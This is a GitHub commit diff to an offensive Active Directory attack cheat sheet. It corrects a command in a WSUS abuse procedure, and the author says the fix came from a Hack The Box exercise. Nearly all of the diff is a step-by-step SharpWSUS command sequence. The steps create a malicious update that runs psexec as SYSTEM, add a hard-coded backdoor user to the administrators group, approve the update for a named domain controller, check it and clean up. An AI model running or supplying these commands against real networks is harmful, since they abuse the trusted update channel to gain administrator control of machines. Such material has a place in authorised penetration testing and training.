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Quick fix for WSUS malicious patch

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Not sure if it is deprecated but by tackling the box Outdated on HTB, the command didn't worked with two `&&`. To concatenate  `"net user WSUSDemo Password123! /add ` and `net localgroup administrators WSUSDemo /add\""`, the `^&` is required.
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0xsry0 2022-08-24 09:10:55 +02:00 committed by GitHub
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Methodology and Resources/Active Directory Attack.md
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@ -3528,7 +3528,7 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th
1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate` 1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect` 2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"` 3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"` 4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local` 5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group` 6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`